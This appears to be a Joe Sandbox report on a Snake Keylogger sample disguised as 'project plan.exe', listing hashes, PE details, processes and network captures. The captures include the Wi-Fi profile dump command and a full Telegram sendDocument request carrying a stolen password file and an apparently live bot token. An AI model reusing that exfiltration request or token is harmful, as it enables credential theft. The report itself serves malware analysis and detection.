.T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDFA7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8812
Entropy (8bit):	3.711282976935528
Encrypted:	false
SSDEEP:	192:R6l7wVeJuPLyy46YEIcCP+Kgmfzn48prI89b6vFcfUTU/m:R6lXJuL346YEDCPtgmfzn4s6vOfUw+
MD5:	A163BEC480701011F68FFB794614EEAD
SHA1:	1A1D829D2BB758B7C7BE780CAD2BFB0F1DFC393F
SHA-256:	02A35452980E952B3ED19023AAAA7644448E40BB7B050A3D7D84778525E9DB31
SHA-512:	97BD7DE534E31368EB553166BFD6741EFDFDB664DBCD5F5BC15DD3DFB056E671CEBBEA0568DDB11666A530DD894BA881A17D9E6EFC9F8DA99E244F56C763D629
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.5.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE005.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4773
Entropy (8bit):	4.503460048051616
Encrypted:	false
SSDEEP:	96:uIjfnI7Ql7VqfJQlfmsiDx1JWiS03iS7d:uIzYQl7cIfmzHZS0ySp
MD5:	0EFE6EED1D0BEFC396A9A8D7020E94D4
SHA1:	F1A3A8D6FE719D58C7E083E3F8ABF6CEA4CF27B8
SHA-256:	D85457FE32D2E0F03F6A81E58A583FD5B672F7913D1F55B967D69E1A3C2CF215
SHA-512:	EA47205A5175A42BE76022A48656C9254167F3AD47690A7A714B50E948A75B8BF0D74312BE9437EE126625A278FF443783797A8C5A5B55B5623A11A65B51C732
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="394470" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421998644376424
Encrypted:	false
SSDEEP:	6144:1Svfpi6ceLP/9skLmb0OTXWSPHaJG8nAgeMZMMhA2fX4WABlEnNK0uhiTw:8vloTXW+EZMM6DFyM03w
MD5:	D8386AC77A9B11F3298C567B2F6BFB0C
SHA1:	DF9E1E8C97630C5DFE92F9FDFA2B5A453A4CA409
SHA-256:	0977A2F11505B2C44E8EFE0B4635DB5AFB1E02A837C057DF2DD9FD2F1B88901F
SHA-512:	3CFBDDECEEB9FDB1138959EAB02A9E0843C637C8E217102BCE91D0649243DE071E0CF9C6FA2BD1F95883686A71BBE2F617D43FB6791DA3D996C1494FC5CDC066
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.qu.................................................................................................................................................................................................................................................................................................................................................Vvc.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.2802833721596025
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	project plan.exe
File size:	2'939'959 bytes
MD5:	ec263cafbd93faeb218574586bf8e45f
SHA1:	2d37614bb075a8580fc5fe7851dedbc88911944c
SHA256:	7c801923836d6b568d00a338b6bcf41889a7a9150c41a4274c21e50d9eb86f33
SHA512:	cd2f79fcd7cb5a7dc405f7cfd21c47d6ae6557f3a8967b9ba8b466a2e55425d79586b4cb153f69fe8488cc1bd4037e76dafcab29e122b90b3a9a859fbf4601ee
SSDEEP:	12288:6ZeDWntewRLkHfkWWAH0tbERlDqKtsR6g:hDeewxUgtQ3qKtsRn
TLSH:	7AD51224B6539C43FF68547AC0E231F50AFDAC2BB0F1A44FDF946C8199624BD27916B2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...(..f.........."...0.Z~............... ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6683E928 [Tue Jul 2 11:48:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x9ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9dbe	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7e5a	0x8000	00d3d9ec62aedafc315e13fe1a8e24df	False	0.619659423828125	data	6.4056746280235135	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x9ac	0xa00	1499d6da2aa3276dd945e2ef9e380bbc	False	0.3078125	data	4.208644838669497	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa0b8	0x384	data			0.4855555555555556
RT_VERSION	0xa43c	0x384	data	English	United States	0.49333333333333335
RT_MANIFEST	0xa7c0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 09:27:59.145376921 CEST	49704	80	192.168.2.5	132.226.247.73
Jul 3, 2024 09:27:59.150438070 CEST	80	49704	132.226.247.73	192.168.2.5
Jul 3, 2024 09:27:59.150511026 CEST	49704	80	192.168.2.5	132.226.247.73
Jul 3, 2024 09:27:59.150829077 CEST	49704	80	192.168.2.5	132.226.247.73
Jul 3, 2024 09:27:59.155960083 CEST	80	49704	132.226.247.73	192.168.2.5
Jul 3, 2024 09:27:59.836782932 CEST	80	49704	132.226.247.73	192.168.2.5
Jul 3, 2024 09:27:59.890115023 CEST	49704	80	192.168.2.5	132.226.247.73
Jul 3, 2024 09:28:05.368868113 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:05.368895054 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:05.369019985 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:05.373893023 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:05.373903036 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:05.989229918 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:05.989320993 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:05.993237972 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:05.993248940 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:05.993514061 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:06.036619902 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:06.084498882 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:06.084615946 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:06.084624052 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:06.462151051 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:06.462233067 CEST	443	49711	149.154.167.220	192.168.2.5
Jul 3, 2024 09:28:06.462301970 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:28:06.465882063 CEST	49711	443	192.168.2.5	149.154.167.220
Jul 3, 2024 09:29:04.834810019 CEST	80	49704	132.226.247.73	192.168.2.5
Jul 3, 2024 09:29:04.834989071 CEST	49704	80	192.168.2.5	132.226.247.73
Jul 3, 2024 09:29:39.843600035 CEST	49704	80	192.168.2.5	132.226.247.73
Jul 3, 2024 09:29:39.848464966 CEST	80	49704	132.226.247.73	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 09:27:59.097207069 CEST	53644	53	192.168.2.5	1.1.1.1
Jul 3, 2024 09:27:59.106723070 CEST	53	53644	1.1.1.1	192.168.2.5
Jul 3, 2024 09:28:05.360338926 CEST	64906	53	192.168.2.5	1.1.1.1
Jul 3, 2024 09:28:05.368093967 CEST	53	64906	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 09:27:59.097207069 CEST	192.168.2.5	1.1.1.1	0x8226	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:28:05.360338926 CEST	192.168.2.5	1.1.1.1	0xf452	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 09:27:59.106723070 CEST	1.1.1.1	192.168.2.5	0x8226	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 09:27:59.106723070 CEST	1.1.1.1	192.168.2.5	0x8226	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:27:59.106723070 CEST	1.1.1.1	192.168.2.5	0x8226	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:27:59.106723070 CEST	1.1.1.1	192.168.2.5	0x8226	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:27:59.106723070 CEST	1.1.1.1	192.168.2.5	0x8226	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:27:59.106723070 CEST	1.1.1.1	192.168.2.5	0x8226	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:28:05.368093967 CEST	1.1.1.1	192.168.2.5	0xf452	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	132.226.247.73	80	6132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 09:27:59.150829077 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 3, 2024 09:27:59.836782932 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 07:27:59 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 512dbe0845334fd3bec92b26f7f0c12a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	149.154.167.220	443	6132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 07:28:06 UTC	352	OUT	POST /bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361285164&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dc9b102694a6ea Host: api.telegram.org Content-Length: 534 Connection: Keep-Alive
2024-07-03 07:28:06 UTC	534	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 62 31 30 32 36 39 34 61 36 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 31 30 36 34 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 33 2f 30 37 2f 32 30 32 34 20 2f 20 30 33 3a 32 37 3a 35 37 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dc9b102694a6eaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:910646Date and Time: 03/07/2024 / 03:27:57Client IP:
2024-07-03 07:28:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 03 Jul 2024 07:28:06 GMT Content-Type: application/json Content-Length: 473 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-03 07:28:06 UTC	473	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 35 36 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 36 34 37 32 35 31 36 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 55 4d 5a 59 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 75 6d 7a 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 33 36 31 32 38 35 31 36 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 63 65 61 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 31 39 39 39 31 36 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 2c 22 6d 69 6d 65 5f 74 79 70 65 22 3a Data Ascii: {"ok":true,"result":{"message_id":195676,"from":{"id":6064725165,"is_bot":true,"first_name":"BUMZY","username":"bumzy_bot"},"chat":{"id":5361285164,"first_name":"Ocean","type":"private"},"date":1719991686,"document":{"file_name":"SnakePW.txt","mime_type":

Target ID:	0
Start time:	03:27:56
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\project plan.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\project plan.exe"
Imagebase:	0x16754a40000
File size:	2'939'959 bytes
MD5 hash:	EC263CAFBD93FAEB218574586BF8E45F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:27:56
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:27:57
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:	0x8e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3221467298.0000000002E0A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:27:57
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:27:58
Start date:	03/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1536 -s 1028
Imagebase:	0x7ff6ea340000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:28:04
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"netsh" wlan show profile
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:28:04
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848F10B3C Relevance: 7.6, Strings: 6, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8[if, xrefs: 00007FF848F10B9C
0[if, xrefs: 00007FF848F10B80
([if, xrefs: 00007FF848F10B64
P[if, xrefs: 00007FF848F10BF0
@[if, xrefs: 00007FF848F10BB8
H[if, xrefs: 00007FF848F10BD4

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID: ([if$0[if$8[if$@[if$H[if$P[if
API String ID: 0-2959431512
Opcode ID: 505e834bada02ca46ea646dd4ec208190717391466daf3c7aaab58b8c6225f90
Instruction ID: 30c5f9c39fbfa4c70e55180ae5b5ccabbc82f3077e259b96418c915aba175b5d
Opcode Fuzzy Hash: 505e834bada02ca46ea646dd4ec208190717391466daf3c7aaab58b8c6225f90
Instruction Fuzzy Hash: 6321C27550AA539FEBC8BB6490316B4B7A1FFA2311F4401BDC94B8B5C2CE1C2C46C742

Function 00007FF848F11F30 Relevance: 2.0, Strings: 1, Instructions: 735
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FF848F14E0F

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: c4afe4fc847aea4b85a3f84a691f3befef9e329ebb75a5b2b35c852c9183f436
Instruction ID: 624368f825c74bb60121881ab86b0f4927366b0ab653fb180c9b137dd8b26646
Opcode Fuzzy Hash: c4afe4fc847aea4b85a3f84a691f3befef9e329ebb75a5b2b35c852c9183f436
Instruction Fuzzy Hash: 37223231A1CA4A4FE759EF2894815B177E2FFA5350F1442BAC45AC71D7EE28EC838784

Function 00007FF848F14620 Relevance: 1.8, Strings: 1, Instructions: 553
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fish, xrefs: 00007FF848F14710

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID: fish
API String ID: 0-1064584243
Opcode ID: 70c6bcf84bb955f58d51e916ff22884945d4dde2631ce233cefe29480395e48d
Instruction ID: 9358803c2d262a19603c0ce0f41f42e0a4eacee7849c280f2b0254c4ad662b95
Opcode Fuzzy Hash: 70c6bcf84bb955f58d51e916ff22884945d4dde2631ce233cefe29480395e48d
